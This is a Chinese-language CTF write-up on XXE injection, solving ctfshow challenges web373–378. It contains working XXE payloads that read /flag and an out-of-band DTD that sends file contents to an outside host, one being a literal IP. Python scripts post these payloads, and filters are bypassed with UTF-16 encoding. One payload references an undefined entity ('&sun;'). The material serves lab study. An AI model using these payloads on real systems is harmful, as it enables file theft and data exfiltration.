XXE漏洞概述
XXE:全称为XML Enternal Entity Injection,中文名称:XML外部实体注入
XXE漏洞原理
漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作
特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞
Content-type:text/xml application/xml
XML 简单了解XML:
XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息 XML 允许创作者定义自己的标签和自己的文档结构
语法:
- XML元素都必须有关闭标签。
- XML 标签对大小写敏感。
- XML 必须正确地嵌套。
- XML 文档必须有根元素。
- XML 的属性值须加引号。
结构:
- XML 文档声明,在文档的第一行
- XML 文档类型定义,即DTD,XXE 漏洞所在的地方
- XML 文档元素
实体引用
DTD
文档类型定义(DTD):可以合法的XML文档构建模块,可以被声明在XML的文档中,也可以作为一个外部的引用。这里也就是XXE存在的地方
三种格式
1.内部DTD文档
<!DOCTYPE 根元素[定义内容]>
2.外部DTD文档
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
3.内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
内部实体
基本没什么利用价值
<!ENTITY 实体名称 "实体的值">
例如:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "hello">
]>
<foo>&xxe;</foo>
外部实体
有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,
外部实体的引用可以利用如下协议
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
例如:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>
外部evil.dtd中的内容
<!ENTITY evil SYSTEM “file:///d:/1.txt” >
%xxe执行后会加载外部实体 evil.dtd 并执行,得到的结果会放在<foo></foo>中
XXE 和 SQL注入 的攻击方法也有一点相似,也分有回显和没有回显
有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为 blind xxe(类似于布尔盲注、时间盲注),可以使用外带数据(OOB)通道提取数据
Web 373
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
libxml_disable_entity_loader()
是 PHP 中的一个函数,用于启用或禁用对外部实体加载的限制
libxml_disable_entity_loader(false)
这行代码的作用就是允许 XML 解析器加载外部实体
那就直接外部实体注入
1. LIBXML_NOENT
- 作用:当使用
LIBXML_NOENT
标志时,PHP 的 XML 解析器会自动替换 XML 文档中的实体引用。实体引用在 XML 中用于表示特殊字符或引用外部资源,使用这个标志后,解析器会将这些实体引用替换为它们实际代表的内容。 - 示例场景:假设 XML 文档中有一个实体引用
&
,它代表字符&
,当使用LIBXML_NOENT
标志解析时,解析器会自动将&
替换为&
。
2. LIBXML_DTDLOAD
- 作用:
LIBXML_DTDLOAD
标志用于指示 XML 解析器加载外部 DTD(文档类型定义)。DTD 是一种用于定义 XML 文档结构和内容规则的文件,它可以是内部的(在 XML 文档中定义)或外部的(通过<!DOCTYPE>
声明引用的外部文件)。使用这个标志后,解析器会尝试加载并应用外部 DTD。 - 示例场景:如果 XML 文档中有如下
<!DOCTYPE>
声明:
<!DOCTYPE root SYSTEM "example.dtd">
使用 LIBXML_DTDLOAD
标志时,解析器会尝试从指定的位置(这里是 example.dtd
)加载外部 DTD 文件,并根据 DTD 中的规则来验证和解析 XML 文档
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE TZY [
<!ENTITY tzy SYSTEM "file:///flag">
]>
<hello>
<ctfshow>&tzy;</ctfshow>
</hello>
Web 374
学习XXE可以参考这个文章
https://xz.aliyun.com/news/2994?time__1311=eqfxBQD%3DDQIxl6zq0%3Dje0KitnhKYuD9mD&u_atoken=1303b9a6fe630bb8edf6e2fcef849fdd&u_asig=1a0c399f17404697186422337e0110
无回显的XXE但是外部实体DTD仍然可用,使用vps
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
记得起python服务,使得可以访问到你的dtd
文件
1.dtd
<!ENTITY % payload "<!ENTITY send SYSTEM 'http://your-ip:2333/?flag=%file;'>">
%payload;
脚本:
import requests
url = 'http://5c286ef0-0ba8-4bcc-978a-f7d7537e9d00.challenge.ctf.show/'
payload = '''<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://your-ip/1.dtd">
%dtd;
]>
<data>&send;</data>
'''
headers = {'Content-Type': 'application/xml'}
res = requests.post(url, data=payload, headers=headers)
print(res.text)
web375
源码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
多加了个过滤xml version="1\.0"
这个声明不加也可以其实
上题的payload照用,将声明去除即可
import requests
url = 'http://faa76841-8831-44d2-b519-0ffe660de9f0.challenge.ctf.show/'
payload = '''
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://ip/1.dtd">
%dtd;
]>
<data>&send;</data>
'''
headers = {'Content-Type': 'application/xml'}
res = requests.post(url, data=payload, headers=headers)
print(res.text)
web376
源码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
和上一题有点不一样就在开启了大小写过滤,不影响
import requests
url = 'http://faa76841-8831-44d2-b519-0ffe660de9f0.challenge.ctf.show/'
payload = '''
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://ip/1.dtd">
%dtd;
]>
<data>&send;</data>
'''
headers = {'Content-Type': 'application/xml'}
res = requests.post(url, data=payload, headers=headers)
print(res.text)
web377
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:26:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
看到多过滤了http
利用编码绕过
从官方文档可以看到
XML 文档不仅可以使用 UTF-8,还支持:
- UTF-16(BE / LE)
- UTF-32(BE / LE / unusual forms 2143、3412)
- EBCDIC(如 IBM037)
import requests
url = 'http://c8ef9452-c445-44b8-85d5-39d07b7ce4d4.challenge.ctf.show/'
payload = '''
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://38.55.99.179/1.dtd">
%dtd;
]>
<data>&send;</data>
'''
headers = {'Content-Type': 'application/xml'}
res = requests.post(url, data=payload.encode('utf-16'), headers=headers)
print(res.text)
web378
查看源代码
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
可以看到构造一个 XML 格式的数据,通过/doLogin
直接构造,读文件在username处
<!DOCTYPE payload [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&sun;</username><password>123</password></user>